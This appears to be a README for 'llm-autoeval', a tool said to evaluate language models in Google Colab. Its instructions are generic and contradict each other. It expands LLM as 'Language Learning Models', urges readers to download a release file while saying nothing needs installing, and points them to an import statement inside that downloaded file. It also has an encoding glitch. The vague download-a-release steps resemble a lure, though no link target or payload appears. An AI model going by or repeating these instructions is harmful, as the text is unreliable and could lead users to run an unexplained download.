Welcome to llm-autoeval! This tool helps you automatically evaluate your Language Learning Models (LLMs) in Google Colab. Whether you're a student, researcher, or just curious about LLMs, this application simplifies the evaluation process for you.
- Automated Evaluation: Evaluate your LLMs instantly without manual intervention.
- User-Friendly Interface: Simple to navigate, making it suitable for all levels of users.
- Integration with Google Colab: Seamlessly works within Google Colab, a popular platform for machine learning.
- Custom Evaluation Metrics: Choose from a range of metrics to assess your LLM's performance based on your needs.
To use llm-autoeval, ensure you meet the following requirements:
- A computer with internet access.
- A Google Account to use Google Colab.
- No installations required; everything runs in the cloud.
To get started, visit this page to download the application:
Download llm-autoeval Releases
This page contains all versions of the software. Look for the latest release for the best experience.
Follow these steps to download and run the application:
- Click on the link above to go to the Releases page on GitHub.
- On the Releases page, find the section titled "Latest Release."
- Locate the download link that corresponds to your needs.
- Click on the link to download the file.
- Once downloaded, locate the file on your device.
You do not need to install anything; you will run everything from your browser via Google Colab.
Now that you have downloaded llm-autoeval, hereโs how to use it:
- Open Google Colab: Go to Google Colab.
- Create a New Notebook: Click on "File" in the menu and select "New Notebook."
- Import the Application:
- Use the import statement, which you can find in the README of the downloaded file.
- This will load all necessary modules into your environment.
- Configure Your LLM: Input the settings for the model you want to evaluate, selecting your desired evaluation metrics.
- Run the Evaluation: Click the "Run" button in Colab. The application will process your model and provide results.
After evaluation, review the outputs. They will help you understand how well your LLM is performing.
If you have questions or need help, you can reach out for support:
- Open an issue on the GitHub repository.
- Look through previous issues for answers.
- Check the GitHub Discussions for community support.
Thank you for using llm-autoeval! Enjoy evaluating your LLMs with ease.